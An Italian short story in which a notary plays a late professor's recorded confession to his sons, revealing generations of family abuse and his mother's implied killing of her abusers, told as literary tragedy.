<p align="justify"><em>Mi verrebbe da scherzare riferendomi ai nostri tempi, per i quali mi sono sempre sentito in prestito, dicendovi che ho sentito la necessità di fare &#8220;outing&#8221;: è un termine di moda, vero?</em></p>
<p align="justify">
<p align="justify"><em>(si avverte una lieve ilarità nel tono di voce)</em></p>
<p align="justify">
<p align="justify"><em>Comunque lo faccio così &#8230; per spezzare l&#8217;angoscia che provo nel dovervi lasciare andare e cercando di immaginare un sorriso sui vostri volti, un sorriso che è già nel mio cuore.</em></p>
<p align="justify"><em>Addio Matteo, addio Alvise, vi ho amato con tutto me stesso</em><em>!</em>&#8220;</p>
<p align="justify">
<p align="justify">Il notaio Giorgio Visentin si schiarì la voce, interrompendo la riproduzione del file audio.</p>
<p align="justify">Era esecutore testamentario di Andrea Giustinian, professore emerito di storia dell&#8217;arte alla facoltà di lettere e filosofia dell&#8217;università di Padova. Di fronte a lui Matteo e Alvise, figli ed eredi del professore, si guardarono allibiti. Quanto raccontato dal padre, dalla sua stessa voce,  li aveva sorpresi e turbati gettando una luce assolutamente diversa sulle origini della nonna e sulla forza che l&#8217;aveva sempre contraddistinta. Con un leggero colpo di tosse il notaio cercò di spezzare la tensione, quasi palpabile, nel suo studio: &#8220;Scusate la mia commozione, ma, come sapete, con vostro padre mi legava un amicizia particolare. Non è stato facile per me ascoltare la sua voce e soprattutto conoscere per la prima volta il contenuto di questa confessione.&#8221;</p>
<p align="justify">
<p align="justify"><em>Era lunedì 20 aprile 2009</em></p>
<p align="justify">
<p align="justify"><em>- - - -</em></p>
<p align="justify">
<p align="justify"><em>La morte del professor Giustinian aveva avuto un&#8217;eco importante su tutti i principali giornali nazionali e soprattutto in città, dove il professore era rispettato ed apprezzato come un vero luminare.</em> Famoso, nel mondo accademico, come uno dei maggiori esperti della pittura rinascimentale, aveva pubblicato decine di libri che trattavano dell&#8217;argomento. Tra i più importanti una critica acutissima della famosa &#8220;Scuola di Fontainebleu&#8221; con la quale ricollegava in maniera precisa gli influssi che questo importante movimento, nato in Francia, aveva avuto sul manierismo italiano. Il libro era divenuto un classico per ogni università che avesse voluto trattare dell&#8217;argomento. Anche la copertina di quel libro era famosa perché riproduceva il <em>quadro </em>&#8220;Gabrielle d&#8217;Estrées e una delle sue sorelle&#8221; <em>dipinto da un anonimo; un quadro che mescolava la malizia a precisi riferimenti simbolici sulla famiglia ritratta. </em></p>
<p align="justify">
<p align="justify"><em>A circa una settimana dalla sepoltura, il notaio aveva convocato gli eredi per svolgere le pratiche a lui affidate dal defunto. </em>In due ore circa, fu completata la lettura del testamento e dell&#8217;elenco completo dei beni, identificandoli uno per uno con chiarezza. Il padre era fiducioso del rapporto che legava i due fratelli perché, da sempre, aveva insegnato loro che le cose terrene sono passeggere e ciò che conta, sopra ogni altra, è il rapporto tra le persone. Comunque, nel caso non fosse stato possibile trovare un accordo, il notaio aveva carta bianca per disporre, secondo suo giudizio, dell&#8217;intera eredità. Tra i beni compresi nel testamento vi era: un appartamento al termine di Corso Vittorio Emanuele, una casa sui colli Berici, vicino al santuario della Madonna, un paio di conti bancari e ad altre cose terrene &#8230; insomma una considerevole eredità. Erano elencati anche <em>i diritti d&#8217;autore dei vari libri scritti dal padre: quelli da soli valevano una fortuna.</em></p>
<p align="justify">
<p align="justify"><em>Al termine della lettura, noiosa e burocratica, il notaio si era presa una pausa per un bicchiere d&#8217;acqua, annunciando, subito dopo, che c&#8217;era ancora qualcosa di cui neppure lui conosceva il contenuto. Mise allora sul tavolo un cofanetto di legno intarsiato, di quelli comunemente utilizzati come portagioie. Il professore glielo aveva consegnato con la richiesta di aprirlo solo davanti ai figli. Utilizzò la chiave contenuta in una busta sigillata con ceralacca e lo aprì. All&#8217;interno vi trovò un medaglione che raffigurava l&#8217;immagine della madonna, una chiavetta USB e una lettera autografa che chiedeva di eseguire, di fronte ai figli, un file audio contenuto nella chiavetta. </em>Con espressione meravigliata, il notaio inserì la chiavetta sul portatile, vi collegò le casse e cliccò sul file per avviarlo.</p>
<p align="justify">
<p align="justify">Passato un istante, la voce profonda e suadente del professor Giustinian si diffuse all&#8217;interno dello studio. Parlava lentamente, con quel tono basso e pacato tipico di un fumatore, senza incertezze; sembrava quasi stesse leggendo un testo tanto l&#8217;interpretazione, le pause, gli accenti risultavano perfetti. Era nota, comunque, la sua capacità oratoria.</p>
<p align="justify">
<p align="justify">Le parole furono queste:</p>
<p align="justify">
<p align="justify">&#8220;<em>Buongiorno ragazzi.</em></p>
<p align="justify">
<p align="justify"><em>Spero di non agitare troppo il dolore di questi giorni volendo farvi ascoltare ancora una volta la mia voce. Non è facile nemmeno per me, e quindi vi prego di scusarmi se troverete traccia della mia commozione. D&#8217;altra parte sapete che mi lascio facilmente trasportare dall&#8217;emozione.</em></p>
<p align="justify">
<p align="justify"><em>Mi fa piacere parlare con voi &#8230; sapere che la mia voce potrà ancora una volta raggiungervi e abbracciarvi come piace a me. Ho scelto questo mezzo, assolutamente estraneo alle mie abitudini, perché non avrei potuto colloquiare serenamente con voi, guardandovi negli occhi e raccontarvi la verità &#8230; questa verità! Ne siete stati tenuti distanti da me; ma durante questi miei ultimi anni ho avuto tanti rimorsi, tante incertezze e ho deciso che dobbiate condividere con me ciò che sto per dirvi &#8230; sapete, io la penso un po&#8217; come </em><strong><em>Guy de Maupassant</em></strong><em> quando dice: - </em><em><strong>la parola abbaglia e inganna perché è mimata dal viso, perché la si vede uscire dalle labbra, e le labbra piacciono e gli occhi seducono. Ma le parole nere sulla carta bianca sono l&#8217;anima messa a nudo</strong></em><em>.</em><em>- ed io ho bisogno di farvi sentire la mia anima, anche se attraverso la voce invece che la parola scritta.&#8221;</em></p>
<p align="justify">
<p align="justify"><em>Avete subito la perdita della vostra mamma, la mia amatissima Angela, e poco tempo fa anche vostra zia, mia sorella Giannina, ci ha lasciato. Ed è appunto del mistero che legava mia sorella a mia madre che vi devo parlare. Abbiate pazienza quindi e ascoltatemi cercando di capire. La verità, questa verità,  fa male; ma da quel male, dal quel dolore è nato l&#8217;amore, quello che avete sempre letto negli occhi di nonna Maria.</em></p>
<p align="justify">
<p align="justify"><em>Devo tornare indietro nel tempo fino alla prima parte della mia vita, quella che si concluse con la tragica morte di mio padre, il nonno Umberto. Quella vita di cui vi ho sempre negato i dettagli dicendovi che li ricordavo poco, invece &#8230;</em></p>
<p align="justify">
<p align="justify"><em>Come sapete, fino ai quindici anni ho vissuto in un appartamento vicino le piazze, nel quartiere chiamato &#8220;il ghetto&#8221;. Si chiama così perché c&#8217;è la sinagoga e nel medioevo era abitato dagli ebrei. Sebbene oggi sia un quartiere di lusso, perché in pieno centro storico, allora era malsano: vie strette e case molto alte, addossate l&#8217;una all&#8217;altra, i cavi tirati da finestra a finestra e i panni sempre stesi. Strade pavimentate in ciottoli con le musine in ghisa al centro. Marciapiedi stretti che non si poteva camminare in due affiancati e i muri erano scrostati dall&#8217;umidità con i mattoni in vista. La luce arrivava con fatica ai piani bassi e i negozi sulla strada erano per il più botteghe, spesso malsane, umide e piene di cianfrusaglie. Era possibile però trovare qualsiasi cosa servisse e si contrattava sul prezzo. Ricorderò sempre l&#8217;odore: un misto di soffritto mescolato alla marsiglia del bucato, il tutto legato dal tanfo dell&#8217;umidità che marciva ogni cosa e all&#8217;urina di gatto; lo stesso che vi sarà capitato di sentire nelle calli strette di Venezia. Le scale interne ai fabbricati erano ripide, buie e strette, che allora si era costruito sfruttando gli spazi al massimo. Noi avevamo l&#8217;appartamento al quarto piano di via s. Girolamo, al n° 7, praticamente alla metà del vicolo che conduce in Via dell&#8217;arco.</em></p>
<p align="justify">
<p align="justify"><em>La nostra famiglia si reggeva sui proventi di un banchetto di frutta e verdura in piazza delle erbe; in realtà l&#8217;azienda, se la vogliamo chiamare così, era di mia madre che l&#8217;aveva ereditata dal nonno. Il banco era il primo, vicino alla fontana. Vita dura, ma il guadagno la giustificava. Papà si alzava la mattina alle tre e, con il camioncino, andava ai mercati generali. In cabina con lui, montavano Giorgio e Ampelio, i garzoni. Tornavano dal mercato che erano già le cinque e tutta la verdura veniva scaricata in magazzino; una bottega vuota, protetta da una serranda in ferro ondulato di colore indefinibile tra il grigio topo e la ruggine bagnata. Si andava a lavorare con qualsiasi tempo e il banchetto era portato in piazza a spinta. Aperto il tendone e disposti i piani inclinati sui cavalletti, le cassette venivano messe in ordine: a destra le verdure in foglia, poi gli ortaggi come zucchine, carote, melanzane, al centro i prodotti di stagione e poi la frutta. L&#8217;ultima parte del banchetto era riservata alla frutta secca. Verso le sette tutto era pronto; andavano allora a fare colazione all&#8217;Osteria dei Fabbri. Immaginate la confusione! Tutti parlavano ad alta voce, in dialetto e nei bar non era mica proibito fumare come adesso. Quindi immaginatevi un gran fumo e una colazione che non era certo un cappuccino con la brioche! No &#8230; erano già quattro ore di lavoro fatte e andava mangiato qualcosa di nutriente come pane e salame, un po&#8217; di formaggio e un buon bicchiere di rosso &#8230; e tante volte uno non bastava. Mia madre accudiva noi fino all&#8217;ora di andare a scuola, poi andava anche lei al banco. Serviva i clienti e, soprattutto, incassava il denaro, che in famiglia i conti li teneva soltanto lei.</em></p>
<p align="justify">
<p align="justify"><em>Scusatemi, mi sono dilungato in questa descrizione, un po&#8217; noiosa, solo perché possiate rendervi conto quasi visivamente delle condizioni di vita d&#8217;allora!</em></p>
<p align="justify">
<p align="justify"><em>Tutto poteva far credere che fossimo una famiglia felice, dove il lavoro, l&#8217;onestà e la fede in Dio erano le fondamenta di una casa serena. Ma &#8230; ma c&#8217;era un cruccio che m&#8217;assillava: la completa assenza di parenti che fossero nonni, zii o altro! La nostra famiglia pareva nata dal nulla. Tutti i </em><em>miei coetanei in parrocchia, a scuola avevano parenti e, a quei tempi, le famiglie erano importantissime. Immaginatevi solo un pranzo pasquale; a tavola non erano mai meno di una quindicina di persone tra nonni, figli e nipoti. Noi eravamo in quattro! </em></p>
<p align="justify">
<p align="justify"><em>Mio padre era</em><em> orfano; abbandonato appena nato all&#8217;istituto degli esposti di Via Belzoni. Probabilmente l&#8217;ennesimo figlio di una famiglia povera e numerosa che non lo poteva mantenere. Visse all&#8217;istituto per lungo tempo prima di incontrare e sposare mia madre. Questi orfani, per la maggior parte almeno, erano abbandonati con addosso una medaglietta, un ricordo,una fotografia, qualcosa insomma che avrebbe potuto ricollegarli alla loro famiglia nel caso fosse stato possibile un ricongiungimento. Mio padre, invece, non aveva addosso nessun segno di riconoscimento &#8230; destinato ad essere dimenticato! Feci ancora delle ricerche alcuni anni fa, ma non riuscii a trovare nulla nemmeno nell&#8217;archivio storico degli istituti della diocesi. </em></p>
<p align="justify">
<p align="justify"><em>I nonni materni, invece, erano morti prima che li potessi conoscere. La mamma di mia madre si chiamava Adriana ed era stata sposata in seconde nozze da mio nonno Dario. Morì di setticemia subito dopo il parto. Mamma allora fu affidata alle cure della sorella del nonno, Matilde, che non si era mai sposata e che morì quando mamma aveva tredici anni. Il nonno morì cadendo dalle scale quando mia madre aveva appena diciassette anni, lasciandole l&#8217;attività del banchetto e l&#8217;appartamento nel quale abbiamo vissuto fino al giorno della disgrazia, la morte di papà. </em></p>
<p align="justify">
<p align="justify"><em>Mamma aveva inoltre dei fratellastri, nati dalle prime nozze del nonno, ma anche di loro nessuna traccia, lei stessa non li conobbe mai. Uno morì in fasce per una di quelle tremende malattie che rendevano alta la mortalità infantile, soprattutto tra le fasce sociali più povere della società di allora, due erano morti giovanissimi in guerra e il quarto scomparso emigrando in America; non s&#8217;è mai saputo nulla di lui. Come tanti ragazzi della sua età, deve aver tentato la sorte cercando fortuna in America, piuttosto che vedersi coscritto sotto le armi. Ho svolto delle ricerche presso le ambasciate e i consolati quando vostra nonna, sentendosi vicino alla fine, me lo aveva chiesto, ma nulla &#8230; letteralmente scomparso.</em></p>
<p align="justify">
<p align="justify"><em>Quanti morti! E poi, non vi pare strano questo accanirsi della sorte sui maschi della nostra famiglia, soprattutto nonno e papà mio?</em></p>
<p align="justify">
<p align="justify"><em>In casa non c&#8217;era nemmeno una fotografia che ricordasse un qualsiasi parente. Solo mia madre portava, appeso al collo, un medaglione assicurato ad una catenina d&#8217;oro con l&#8217;immagine della Madonna; lo stesso che consegno a voi oggi. Come potrete osservare è uno di quei medaglioni all&#8217;interno dei quali si conservano i ricordi più cari. Dentro, su una delle due valve, troverete una ciocca di capelli legata con un nastrino d&#8217;argento, sono di zia Matilde, sull&#8217;altra, la foto sbiadita, in bianco e nero, di zia Matilde che tiene in braccio mia madre ancora piccolina. Guardando bene potrete notare che la foto è ritagliata da una più grande perché si distingue, appena appena, una mano appoggiata alla spalla della zia. Io penso sia la mano di nonno Dario. La foto, difatti, avrebbe dovuto essere una posa classica del tempo: l&#8217;uomo in piedi con la mano appoggiata alla donna che regge la figlia sulle ginocchia, il tutto su di un classico sfondo da studio fotografico. Noterete anche che ci sono dei segni dove s&#8217;intuisce la mano appoggiata alla spalla della zia, come qualcuno avesse cercato di cancellare anche quella piccola traccia del nonno. &#8230; Perché? &#8230; la domanda mi ha tormentato per anni, come mi tormentava il fatto di non poter fare nessun riferimento ad una famiglia precedente la mia. Mia madre non mostrava mai quella foto ed io, curioso solo come un ragazzino riesce ad esserlo, ero riuscito a guardarla di nascosto solo tre o quattro volte, quando lasciava il medaglione sul comò, con il cuore che batteva forte e la stessa sensazione nel momento in cui si sta violando un segreto nascosto per millenni. </em></p>
<p align="justify">
<p align="justify"><em>Intuivo che esisteva un mistero sulla morte del nonno.</em></p>
<p align="justify">
<p align="justify"><em>Mamma non parlava mai di lui, e quello che potevo sapere era dalle parole di chi lo aveva conosciuto; quelle brevi frasi di circostanza che sono espresse tra adulti quando si incontra una persona che conosceva la famiglia, come il vecchio parroco della chiesa di san Nicolò, che aveva tenuto a battesimo me e mia sorella Giannina. Esisteva un rapporto molto particolare fra mamma e don Vittorio; quasi tutte le domeniche, all&#8217;uscita da messa, la prendeva sottobraccio e parlavano fra loro a bassa voce. Noi rimanevamo col babbo. Lei teneva gli occhi sempre bassi come fosse consapevole di dover espiare un peccato. Era evidente che ci fosse un segreto fra loro! Don Vittorio sapeva qualcosa che mia madre aveva rivelato solo a lui, magari in confessione. La trattava come una figlia e il suo viso diveniva serissimo quando parlavano fra loro, pareva che provasse una pietà infinita. Poi, di colpo, veniva incontro a noi con un sorriso disarmante, come avesse improvvisamente indossato una maschera. Io guardavo mamma negli occhi cercando di leggere la verità nel suo sguardo, ma non andavo mai oltre una sensazione perché lei cancellava rapidamente le tracce d&#8217;ogni commozione le derivava dal colloquio con don Vittorio.</em></p>
<p align="justify">
<p align="justify"><em>(si sente lo scatto di un accendino, il leggero sfrigolio di una sigaretta che si accende e, dopo un attimo, il soffiare compiaciuto del fumo attraverso la bocca &#8230; fumare era l&#8217;unico vizio del professore)</em></p>
<p align="justify">
<p align="justify"><em>La mamma, come vi dicevo, fu affidata fin dalla nascita alla sorella di mio padre, zia Matilde appunto. E con lei visse fino ai suoi tredici anni. Devono essere stati i più begli anni della sua infanzia. Formavano una famiglia strana, si, ma come tante altre ai quei tempi. Il nonno portava avanti l&#8217;attività di fruttivendolo e garantiva i soldi a casa. Poi zia Matilde morì, probabilmente per un tumore, ma in quegli anni non se ne conosceva bene l&#8217;esistenza ed era chiamato semplicemente un brutto male. Fu da quel giorno che mia madre divenne a tutti gli effetti la donna di casa. Ed io credo, anzi &#8230; ne sono sicuro, che dovette assolvere ad ogni incombenza, compresa quella naturalmente riservata alla moglie. Lo so, non ne ho le prove, ma mamma portava sul viso dei solchi indelebili scavati dal dolore e solo io potevo percepirli, decifrarli &#8230; solo io che avevo la consuetudine di vita con una persona così importante per la vita di un bambino come la mamma. Pensate a vostra madre e ditemi: è vero che avreste potuto intuire il suo pensiero solo osservandola?</em></p>
<p align="justify">
<p align="justify"><em>Povera mamma! Una delle poche cose di cui ero certo è che, per assistere suo padre, dovette smettere di studiare. Lo diceva ogni volta che uscivamo da casa per andare a scuola, ricordando quanto fortunati eravamo noi nei suoi confronti e spronandoci quindi al massimo impegno. Immaginatevi &#8230; lasciare la scuola, i compagni, le amicizie e sottostare alle necessità di un uomo verso il quale il rispetto, dovuto da quelle regole morali imposte dalla società di allora, non le permetteva alcun rifugio. Dev&#8217;essersi sentita in trappola! Credo in ogni modo l&#8217;abbia aiutata la sua straordinaria coscienza che cresceva con lei giorno dopo giorno. Di giorno alla cassa, di notte nel letto &#8230; scusate la mia brutalità nel dirvelo, ma doveva essere esattamente così. </em></p>
<p align="justify">
<p align="justify"><em>Il nonno era sicuramente alcolizzato. Di questo sono certo; l&#8217;ho saputo dai vecchi, dai suoi colleghi di lavoro, ai quali mi sono rivolto cercando qualsiasi notizia riguardasse la mia misteriosa famiglia. Erano restii a parlarmene per il timore di offendermi, ma pare che gli ultimi anni della sua vita fosse trasandato e violento. Lo scusavano immediatamente però, ricordandomi quanto duro fosse il suo lavoro. Pare, quindi, che un lavoro così faticoso abbia la necessità di essere dimenticato giorno dopo giorno, e allora l&#8217;alcool rende leggera l&#8217;anima. Ma ti tradisce, perché crea dipendenza, travia la mente e richiede sempre maggiori quantità per garantire gli effetti cercati: quel senso di non appartenenza alle cose che ti circondano. E quando le cose attorno a te non t&#8217;appartengono più allora quello è il momento che le butti via, come fossero stracci.</em></p>
<p align="justify">
<p align="justify"><em>Deve essere stato un giorno che il nonno, tornato a casa particolarmente ubriaco, è stato spinto giù dalle scale da mia madre, stanca di essere sottomessa. Una colluttazione, oppure un incidente aiutato! Non lo so &#8230; ragazzi, perdonatemi, ma non posso filtrare le parole in un momento come questo, non sarebbe giusto. Sappiate comunque che di quanto ho detto non ho le prove, solo intuizioni. Non lo so con certezza, sia chiaro. Però tanti piccolissimi particolari si sono sommati giorno dopo giorno ed hanno formato un immagine dentro me.  Anche le parole che un giorno sono sfuggite proprio a don Vittorio: &#8220;&#8230; tua madre ha sofferto tantissimo, ha dovuto difendersi due volte dal diavolo &#8230;&#8221; me l&#8217;hanno confermato. Capirete che queste parole, pronunciate il giorno della mia cresima, il giorno quindi in cui si deve pubblicamente rinunciare al diavolo, e un anno dopo la morte di mio padre, hanno scavato un solco profondo nella mente di una ragazzino impressionabile come me.</em></p>
<p align="justify">
<p align="justify"><em>Indagando ancora ho raggiunto altre convinzioni. Deve essere stato proprio don Vittorio a far conoscere e sposare mio padre e mia madre. Penso che all&#8217;epoca fosse un interessamento abbastanza usuale da parte dei parroci; dovete tenere conto delle condizioni in cui si trovava  mia madre: travolta da una disgrazia (la morte del nonno), senza parenti e con un attività molto dura da mandare avanti. La prassi voleva che il parroco si rivolgesse ad un istituto tipo orfanotrofio, sempre religioso però, dove poter trovare un bravo giovane cresciuto nel timore di Dio, per creare una famiglia che avesse il benestare e la benedizione della chiesa. Il nonno Umberto all&#8217;epoca, doveva essere un bravo ragazzo &#8230; veramente. Cresciuto sempre all&#8217;interno dell&#8217;istituto retto dalle suore, aveva imparato a svolgere lavori prettamente artigianali. Probabilmente, non mostrava particolare attitudine per gli studi. In qualche modo furono fatti conoscere, forse in occasione di qualche funzione religiosa.</em></p>
<p align="justify">
<p align="justify"><em>Un&#8217;altra particolarità erano i ruoli familiari: mia madre comandava su tutto in famiglia, dalla gestione del denaro a qualsiasi altra cosa. Mio padre, invece, sembrava quasi fosse estraneo a quel nucleo centrale formato da noi: mia mamma, mia sorella ed io. Il suo ruolo paterno era delegittimato. Si, certo, era lui che affrontava la parte più dura del lavoro ogni mattina, ma era mia madre che ordinava la spesa il giorno prima e pagava poi i conti; quindi mio padre doveva solo svolgere il lavoro di fatica. Me ne sono reso conto solo dopo la sua morte, l&#8217;immagine che aveva già cominciato a prendere forma in me diveniva sempre più chiara e iniziavo a comprendere il mistero. Difatti non ricordo momenti di tenerezza fra loro, uno sguardo, una carezza, eppure ogni cosa sembrava avesse una sua logica; mia madre comandava e mio padre obbediva.</em></p>
<p align="justify">
<p align="justify"><em>(si sente che il professore prendere  fiato per aumentare il tono della voce)</em></p>
<p align="justify">
<p align="justify"><em>Com&#8217;è stato possibile allora che venissimo al mondo io e mia sorella? Per quale strana forma d&#8217;amore? &#8230; capite ciò che sto dicendo? Ragazzi miei &#8230; come avrei potuto dirvi queste cose guardandovi negli occhi? Il seme di mio padre ha generato me e mia sorella, vi rendete conto? ma come? Era mamma che decideva anche questo?&#8230; è tremendo se ci pensate!</em></p>
<p align="justify">
<p align="justify"><em>(una pausa per tirare il fumo della sigaretta &#8230; e per asciugarsi le lacrime)</em></p>
<p align="justify">
<p align="justify"><em>Ricordando il carattere di mio padre solo oggi posso fare un paragone: immaginate un cane, il più buono ed affettuoso dei cani. Sempre festoso e pronto ad unirsi agli altri nelle occasioni di festa. Ecco &#8230; questo era il ricordo i primissimi anni della mia vita. Erano ricordi, però, solo dei giorni di festa, in cui forzatamente il carretto non veniva tirato fuori dal magazzino e lui non stava dormendo. Tutti gli altri giorni dell&#8217;anno erano della mamma, e mamma non faceva mai riferimento a lui quando si trattava di educarci, di prendere decisioni. La sera mangiavamo intorno alla tavola, ma il babbo era già a letto.</em></p>
<p align="justify"><em>Ed adesso immaginate quel cane abbia preso la rabbia. All&#8217;inizio sembra soltanto voglia stare da solo, che si sia un po&#8217; immusonito, e invece sta covando una malattia. Poi diventa intrattabile, ringhia se vi avvicinate. E infine, con la bava alla bocca, sembra il diavolo in persona &#8230; mai avreste immaginato che un animo potesse marcire così in fretta!</em></p>
<p align="justify">
<p align="justify"><em>(si sente la sigaretta schiacciata nel portacenere per spegnerla &#8230; il professore si schiarisce la voce soffiando l&#8217;ultima boccata di fumo)</em></p>
<p align="justify">
<p align="justify"><em>Zia Giannina, nelle intenzioni di mia madre era affidata a me quando lei non c&#8217;era. Qualsiasi cosa le fosse capitata ne rispondevo in solido: a ceffoni quindi. Erano anni quelli che nessuno si preoccupava dei ceffoni, se potevano o no influenzare la vita futura di noi ragazzi; venivano somministrati come una medicina e se ne raccomandava un uso frequente. Si andava a scuola a piedi, che non c&#8217;erano mica pericoli allora. Le elementari erano vicine e bastavano cinque minuti per raggiungerle. Comunque mia madre, tutte le mattine, al momento di darci i cestini della merendina e controllando le nostre cartelle, mi faceva una ramanzina ricordandomi le mie responsabilità; mi teneva il mento nella sua mano rivolgendo il mio viso al suo con forza, poi mi dava un bacio però. Grazie anche all&#8217;obbligo impostomi da mia madre, io e mia sorella sviluppammo una simbiosi importante che, negli anni successivi il grave fatto, ci fu di molto conforto.</em></p>
<p align="justify">
<p align="justify"><em>Fu durante gli anni della mia adolescenza che le cose in famiglia cambiarono radicalmente. Papà, ormai passati i quaranta, cominciò ad accusare una certa stanchezza. Causa la durezza del lavoro, certo, ma la vera ragione erano quei due bicchieri di vino rosso alla mattina che presto divennero un paio di litri o più. Cominciò anche a mangiare smodatamente e il ventre, di conseguenza, si era gonfiato. A mezzogiorno, non si reggeva in piedi, oppure straparlava. Già in un paio d&#8217;occasioni aveva litigato con dei clienti in modo talmente esagerato che erano dovuti intervenire i vigili urbani. Mia madre, ingoiando vergogna, aveva preso l&#8217;abitudine di mandarlo a casa preoccupata del fatto che potesse compromettere il lavoro. Secondo le sue intenzioni avrebbe dovuto prepararci da mangiare e poi andare a letto per riposarsi, che comunque la mattina presto toccava sempre a lui andare al mercato e preparare il banchetto. </em></p>
<p align="justify">
<p align="justify"><em>Giannina, nel frattempo, aveva raggiunto anche lei l&#8217;adolescenza, sviluppando un corpo che non era più quello di una bambina &#8230; avete capito, vero? L&#8217;adolescenza non cambia solo il corpo, ma crea i presupposti di una persona adulta e quindi anche il carattere subisce una profonda metamorfosi. Ma non è certo motivo per accusare una bambina di essere maliziosa coscientemente, vi pare? Mio padre però, assolutamente ebbro quando tornava a casa, trovava ogni giorno motivi di rimprovero verso mia sorella &#8230; e conseguentemente di punizione! Alle volte la teneva chiusa in camera con lui anche una mezz&#8217;ora e quando usciva era in lacrime. Ci chiudevamo in camera nostra, allora, e ripetevamo dei gesti che c&#8217;erano familiari fin da piccoli: quel gioco in cui si batte la mano destra contro la destra dell&#8217;altro ripetendo una sciocca filastrocca, che non ricordo più, e cercando di andare sempre più veloci.</em></p>
<p align="justify">
<p align="justify"><em>Il giorno però che mio padre abusò di Giannina, non era più possibile rimediare con una filastrocca anche perché i segni sull&#8217;animo di un bambino sono indelebili, visibili sul viso, nello sguardo, nel modo in cui cerca riparo dietro alle cose &#8230; quasi pensando che se qualcosa è fra me e te io sono al sicuro!</em></p>
<p align="justify">
<p align="justify"><em>Ho memoria di quel giorno con assoluto spavento: le urla di mia sorella, la voce concitata e grintosa di mio padre, il rumore degli schiaffi &#8230; il ringhio roco e bestiale di un cane con la rabbia appunto. Ricordo ogni cosa come fosse oggi e di questo non vi ho mai parlato perché Giannina lo considerava &#8220;il segreto&#8221;, e fra fratelli le promesse si mantengono. Mia madre però lesse ogni fatto nei nostri sguardi, nei lividi sul corpo di Giannina, nei nostri atteggiamenti di bambini colpevoli che cercano inutile riparo sotto il tavolo. E la vidi trasformarsi &#8230; non sono capace di spiegarmi meglio di così: vidi mia madre divenire un&#8217;altra persona, gli occhi neri come quelli di una belva!</em></p>
<p align="justify">
<p align="justify"><em>Il giorno dopo mio padre, vostro nonno, morì cadendo dalle scale, quelle ripide per raggiungere l&#8217;appartamento; mi fu detto che ruzzolò nel tentativo di sostituire una lampadina fulminata. Per la seconda volta quelle scale provocavano un morto! Tutti sapevano però che mio padre era ubriaco. Ai funerali c&#8217;erano tutti i piazzaroli e la commozione era tanta. Sembravano tutti compatire mia madre, però, più che compiangere il defunto.</em></p>
<p align="justify"><em>Don Vittorio fu spesso a casa nostra in quei giorni, sembrava rassegnato e disperato allo stesso tempo. Io intuivo che fra lui e mia madre si svolgeva lo stesso dialogo di sempre, quello al quale io non avevo accesso. Ricordo con precisione il fatto che ascoltavamo incuriositi don Vittorio che cercava di consolarci, perché noi, il dolore non lo sentivamo. Mia sorella era spaventata da ciò che le era successo e s&#8217;aggrappava a me come mamma le aveva insegnato, ed io guardavo mamma cercando di capire.</em></p>
<p align="justify">
<p align="justify"><em>Io non provavo dolore! Era come se la morte di mio padre non mi riguardasse!</em></p>
<p align="justify">
<p align="justify"><em>Furono alcune parole pronunciate sottovoce da mia madre, durante i funerali, in chiesa, in un momento che nessuno pensava potesse udirla, a rivelarmi finalmente la verità sulla sua vita. Aveva appoggiato la mano alla bara di papà e gli stava parlando. Io potei afferrare solo queste parole: &#8220;&#8230; ed ecco perché ti chiedo di non volermene, Umberto. Non potevo lasciare che la mia vita, la vita di chi mi stà più a cuore, fosse ancora una volta stravolta dal sopruso, dalla stessa violenza che ha rovinato per sempre la mia. L&#8217;euforia del vino ha dannato anche te come mio padre. Finché avrò forza saprò difendermi, stanne certo. È stata ancora una volta la casa, quella che ha saputo annientare il male la prima volta tanti anni fa, ad aiutarmi. Oggi come allora &#8230; la casa, con saggezza, sembra abbia approfittato dei tuoi momenti d&#8217;euforia per prepararsi a darmi la libertà, finalmente; a sgombrare il campo della mia vita dall&#8217;orrore verso il quale tu avresti voluto portarci. Dio abbia pietà di te &#8230; e della mia vita &#8220;</em></p>
<p align="justify">
<p align="justify"><em>(si sente un singhiozzo come di pianto &#8230; si sente un fruscio e poi un rumore di naso soffiato in un fazzolettino)</em></p>
<p align="justify">
<p align="justify"><em>Quella casa fu venduta dopo solo tre mesi, ed insieme con quella anche l&#8217;attività d&#8217;ortofrutta. Mamma comprò l&#8217;appartamento in Via Umberto con la rivendita di pane al piano terra, e la nostra vita cambiò radicalmente. Quell&#8217;attività la impegnò per altri quindici anni, con lei seduta alla cassa, mentre noi c&#8217;impegnavamo nello studio arrivando fino alla laurea. Quando anche Giannina si laureò in medicina, la mamma vendette il negozio.</em></p>
<p align="justify"><em>Mia sorella non si sposò mai, ebbe tante storie, ma ogni volta arrivava il momento in cui lei tagliava radicalmente il rapporto; forse il trauma subito non è mai stato dimenticato, ma credo sia stato importante l&#8217;influsso subito da mia madre. Non la lasciava sola mai un momento e le ha insegnato che, all&#8217;infuori della famiglia, tutti gli altri sono estranei &#8230; era il suo codice di salvezza! Ed è stato la causa della tristezza di Giannina, condannata a morire da sola, condannata alla sterilità, all&#8217;inutilità di una vita spesa per nulla!</em></p>
<p align="justify">
<p align="justify"><em>Lo stesso codice fu causa della morte di mio padre! Questo l&#8217;ho capito tempo dopo ed anche la nonna l&#8217;aveva compreso, ed è per questo che cercava sempre più il conforto nelle vostre risa, nella vostra compagnia. Io, invece, malgrado lei, avevo accettato l&#8217;amore quando se ne presentò l&#8217;occasione &#8230; e arrivò Angela, mia moglie, ed arrivaste voi, il frutto dell&#8217;amore finalmente. Un amore nato con semplicità, che non si nutriva di un errore del passato. Nonna ha dato a voi tutto quell&#8217;amore che non è stata capace di esprimere durante la sua vita. Demolita la fortezza inespugnabile e scomparsi gli estranei, i veri nemici, la nonna si lasciò andare e riuscì ad amare.</em></p>
<p align="justify">
<p align="justify"><em>Spero che la morte le abbia portato pace.</em></p>
<p align="justify">
<p align="justify"><em>Ecco ragazzi &#8230; adesso ho l&#8217;animo finalmente libero e credo di avervi giustificato, in qualche modo, l&#8217;animo di mia madre, facendovi comprendere il giogo di dolore al quale era relegata in vita. Compatisco mio padre, stravolto da un destino troppo grande per lui; schiacciato dal carattere di una donna che bastava a se stessa, una donna che il dolore provato aveva trasformato appunto in una fortezza inespugnabile agli estranei, e mio padre era un estraneo. È un dolore straziante immaginare quella violenza calma che giorno dopo giorno l&#8217;ha devastato, quell&#8217;amore negato che lui avrebbe voluto esprimere e gli anni, invece, hanno fatto marcire dentro lui trasformandolo in rabbia. Mio padre, un tenero pulcino abbandonato sulla via, cresciuto per la grazia di Dio e portato per mano, da chi l&#8217;ha cresciuto, verso una sorte che non aveva la forza di cavalcare. Trasformato in bestia dal sentimento negato.</em></p>
<p align="justify">
